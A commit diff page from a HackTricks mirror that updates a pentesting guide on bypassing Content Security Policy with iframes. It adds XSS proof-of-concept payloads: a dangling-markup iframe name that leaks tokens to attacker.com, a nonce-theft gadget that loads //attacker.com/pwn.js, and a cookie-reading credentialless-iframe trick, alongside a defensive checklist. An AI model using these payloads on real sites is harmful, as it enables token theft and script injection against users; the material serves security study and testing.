maride/hacktricks
1
0
Fork 0
mirror of https://github.com/HackTricks-wiki/hacktricks.git synced 2025-10-10 18:36:50 +00:00
Code Issues Packages Projects Releases Wiki Activity

Merge pull request #1253 from HackTricks-wiki/research_update_src_pentesting-web_xss-cross-site-scripting_iframes-in-xss-and-csp_20250807_014324

Browse Source 
Research Update Enhanced src/pentesting-web/xss-cross-site-s...
This commit is contained in:
SirBroccoli 2025-08-19 22:02:05 +02:00 committed by GitHub
commit 06d3a6fa31
1 changed files with 56 additions and 9 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

65
src/pentesting-web/xss-cross-site-scripting/iframes-in-xss-and-csp.md
View File

@ -64,7 +64,7 @@ Therefore it’s possible to bypass the CSP of a page with:
<head> <head>
<meta <meta
http-equiv="Content-Security-Policy" http-equiv="Content-Security-Policy"
content="script-src 'sha256-iF/bMbiFXal+AAl9tF8N6+KagNWdMlnhLqWkjAocLsk='" /> content="script-src 'sha256-iF/bMbiFXal+AAl9tF8N6+KagNWdMlnhLqWkjAocLsk'" />
</head> </head>
<script> <script>
var secret = "31337s3cr37t" var secret = "31337s3cr37t"
@ -109,7 +109,43 @@ if __name__ == "__main__":
app.run() app.run()
``` ```
### Other Payloads found on the wild <a href="#other_payloads_found_on_the_wild_64" id="other_payloads_found_on_the_wild_64"></a> #### New (2023-2025) CSP bypass techniques with iframes
The research community continues to discover creative ways of abusing iframes to defeat restrictive policies. Below you can find the most notable techniques published during the last few years:
* **Dangling-markup / named-iframe data-exfiltration (PortSwigger 2023)** – When an application reflects HTML but a strong CSP blocks script execution, you can still leak sensitive tokens by injecting a *dangling* `<iframe name>` attribute. Once the partial markup is parsed, the attacker script running in a separate origin navigates the frame to `about:blank` and reads `window.name`, which now contains everything up to the next quote character (for example a CSRF token). Because no JavaScript runs in the victim context, the attack usually evades `script-src 'none'`. A minimal PoC is:
```html
<!-- Injection point just before a sensitive <script> -->
<iframe name="//attacker.com/?"> <!-- attribute intentionally left open -->
````
```javascript
// attacker.com frame
const victim = window.frames[0];
victim.location = 'about:blank';
console.log(victim.name); // → leaked value
```
* **Nonce theft via same-origin iframe (2024)** – CSP nonces are not removed from the DOM; they are merely hidden in DevTools. If an attacker can inject a *same-origin* iframe (for example by uploading HTML to the site) the child frame can simply query `document.querySelector('[nonce]').nonce` and create new `<script nonce>` nodes that satisfy the policy, giving full JavaScript execution despite `strict-dynamic`. The following gadget escalates a markup injection into XSS:
```javascript
const n = top.document.querySelector('[nonce]').nonce;
const s = top.document.createElement('script');
s.src = '//attacker.com/pwn.js';
s.nonce = n;
top.document.body.appendChild(s);
```
* **Form-action hijacking (PortSwigger 2024)** – A page that omits the `form-action` directive can have its login form *re-targeted* from an injected iframe or inline HTML so that password managers auto-fill and submit credentials to an external domain, even when `script-src 'none'` is present. Always complement `default-src` with `form-action`!
**Defensive notes (quick checklist)**
1. Always send *all* CSP directives that control secondary contexts (`form-action`, `frame-src`, `child-src`, `object-src`, etc.).
2. Do not rely on nonces being secret—use `strict-dynamic` **and** eliminate injection points.
3. When you must embed untrusted documents use `sandbox="allow-scripts allow-same-origin"` **very carefully** (or without `allow-same-origin` if you only need script execution isolation).
4. Consider a defense-in-depth COOP+COEP deployment; the new `<iframe credentialless>` attribute (§ below) lets you do so without breaking third-party embeds.
### Other Payloads found on the wild <a href="#other_payloads_found_on_the_wild_64" id="#other_payloads_found_on_the_wild_64"></a>
```html ```html
<!-- This one requires the data: scheme to be allowed --> <!-- This one requires the data: scheme to be allowed -->
@ -138,21 +174,29 @@ When utilized, the `sandbox` attribute imposes several limitations:
- Navigation of the content's top-level browsing context by the content itself is prevented. - Navigation of the content's top-level browsing context by the content itself is prevented.
- Features that are triggered automatically, like video playback or auto-focusing of form controls, are blocked. - Features that are triggered automatically, like video playback or auto-focusing of form controls, are blocked.
Tip: Modern browsers support granular flags such as `allow-scripts`, `allow-same-origin`, `allow-top-navigation-by-user-activation`, `allow-downloads-without-user-activation`, etc. Combine them to grant only the minimum capabilities required by the embedded application.
The attribute's value can be left empty (`sandbox=""`) to apply all the aforementioned restrictions. Alternatively, it can be set to a space-separated list of specific values that exempt the iframe from certain restrictions. The attribute's value can be left empty (`sandbox=""`) to apply all the aforementioned restrictions. Alternatively, it can be set to a space-separated list of specific values that exempt the iframe from certain restrictions.
```html ```html
<iframe src="demo_iframe_sandbox.htm" sandbox></iframe> <!-- Isolated but can run JS (cannot reach parent because same-origin is NOT allowed) -->
<iframe sandbox="allow-scripts" src="demo_iframe_sandbox.htm"></iframe>
``` ```
### Credentialless iframes ### Credentialless iframes
As explained in [this article](https://blog.slonser.info/posts/make-self-xss-great-again/), the `credentialless` flag in an iframe is used to load a page inside an iframe without sending credentials in the request while maintaining the same origin policy (SOP) of the loaded page in the iframe. As explained in [this article](https://blog.slonser.info/posts/make-self-xss-great-again/), the `credentialless` flag in an iframe is used to load a page inside an iframe without sending credentials in the request while maintaining the same origin policy (SOP) of the loaded page in the iframe.
This allows the iframe to access sensitive information from another iframe in the same SOP loaded in the parent page: Since **Chrome 110 (February 2023) the feature is enabled by default** and the spec is being standardized across browsers under the name *anonymous iframe*. MDN describes it as: “a mechanism to load third-party iframes in a brand-new, ephemeral storage partition so that no cookies, localStorage or IndexedDB are shared with the real origin”. Consequences for attackers and defenders:
* Scripts in different credentialless iframes **still share the same top-level origin** and can freely interact via the DOM, making multi-iframe self-XSS attacks feasible (see PoC below).
* Because the network is **credential-stripped**, any request inside the iframe effectively behaves as an unauthenticated session – CSRF protected endpoints usually fail, but public pages leakable via DOM are still in scope.
* Pop-ups spawned from a credentialless iframe get an implicit `rel="noopener"`, breaking some OAuth flows.
```javascript ```javascript
window.top[1].document.body.innerHTML = 'Hi from credentialless'; // PoC: two same-origin credentialless iframes stealing cookies set by a third
alert(window.top[1].document.cookie); window.top[1].document.cookie = 'foo=bar'; // write
alert(window.top[2].document.cookie); // read -> foo=bar
``` ```
- Exploit example: Self-XSS + CSRF - Exploit example: Self-XSS + CSRF
@ -219,7 +263,10 @@ Check the following pages:
../postmessage-vulnerabilities/steal-postmessage-modifying-iframe-location.md ../postmessage-vulnerabilities/steal-postmessage-modifying-iframe-location.md
{{#endref}} {{#endref}}
## References
* [PortSwigger Research – Using form hijacking to bypass CSP (March 2024)](https://portswigger.net/research/using-form-hijacking-to-bypass-csp)
* [Chrome Developers – Iframe credentialless: Easily embed iframes in COEP environments (Feb 2023)](https://developer.chrome.com/blog/iframe-credentialless)
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}